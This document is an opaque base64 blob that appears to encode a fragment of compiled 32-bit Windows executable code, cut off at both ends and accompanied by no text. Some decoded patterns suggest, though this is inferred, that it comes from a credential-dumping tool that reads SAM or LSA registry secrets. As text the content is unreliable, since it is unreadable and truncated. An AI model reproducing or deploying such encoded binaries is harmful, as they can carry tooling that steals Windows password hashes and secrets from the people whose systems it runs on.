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/FTDQAhDrE/8V+NICEFBouBsEEOj9N///WVn/dfj/FSjQAhBT/3Xw/xUU0QIQi0XsX15bycNVi+yB7GwBAACNRayJRcCJRbi46P8DEFMz24mFSP///4mFWP///7i4/wMQVr4AAAQQiYVo////iYV4////jYXY/v//V4ld3IldqIld4Ild6Ild1Ild2Ild7Ild9IldrIldsIldvIldtIld+Im12P7//8eF3P7//zgcBBDHheD+//9BQUFBiZ3k/v//ibXo/v//x4Xs/v//RBwEEMeF8P7//0JCQkKJnfT+//+Jtfj+///Hhfz+//9UHAQQx4UA////Q0NDQ4mdBP///4m1CP///8eFDP///3QcBBDHhRD///9EREREiZ0U////ibUY////x4Uc////hBwEEMeFIP///0VFRUWJnST///+JtSj////HhSz///+UHAQQx4Uw////RkZGRomdNP///4m1OP///8eFPP///7AcBBDHhUD///9HR0dHiZ1E////x4VM////0BwEEMeFUP///0hISEiJnVT////HhVz////0HAQQx4Vg////SUlJSYmdZP///8eFbP///xgdBBDHhXD///9KSkpKiZ10////x4V8////KB0EEMdFgEtLS0uJXYTHRYjU/wMQx0WMNB0EEMdFkExMTEyJXZTHRZgMAAAAiUWcOR0UBQUQD4V4AQAAU1NoPB0EEP91DP91COh2Z///g8QUhcAPhOkAAAD/NRgYBRC5KPAEEGoE6Dk4//+L+FlZO/sPhLoDAACLRwiJRbyLRxCJRbSNRfRoOAQAAFDoqAMAAFlZhcAPhHsDAABW/3X0jYWs/v//6Ic+//9ZWYXAdHr/dQyLhaz+////dQiJhcj+//+LhbD+//+Jhcz+//+LhbT+//+JhdD+//9oMi8BEP93FI1FtP93DMcFFAUFEAEAAABQ/3cEjUW8UI2FyP7//+hVNv//g8QghcB1E/8V+NICEFBoSB0EEOgkNf//WVmJHRQFBRDp7AIAAP8V+NICEFBosB0EEOgGNf//WVnp1AIAADkdFAUFEHVqU1NoZB4EEP91DP91COhoZv//g8QUhcB0UY1F9Gg6BAAAUOjIAgAAWVmFwHQ9jYXA/v//ULjJUAEQuX9VARAryFFQi0X0jXWY6O1R//+DxAyFwHQLjYXA/v//iUX46wtoeB4EEOiONP//WWoGWTPAjb2U/v//86uNRcRQagGNhZT+//9QU/8VFNACEIXAD4gtAgAAjUXkUGoF/3XE/xUY0AIQhcAPiA0CAABTaD8ADwCNRcxQU/8VXNMCEIlF8DvDD4zbAQAAjUX8UItF5P9wCGgFBwAA/3XM/xVU0wIQiUXwO8MPjKABAAD/deRoHB8EEOgBNP//i0Xk/3AI6IBk//+DxAxoxPYCEOjpM///WVONReBQaCC3AxD/dQz/dQjoVmX//4PEFFOFwHRsU/914OinsAAAg8QMiUXIO8N0T41F7FCNRdRQjUXIUGoB/3X8/xVY0wIQiUXwO8N8Kf91+ItFyP911P91/Oj1AQ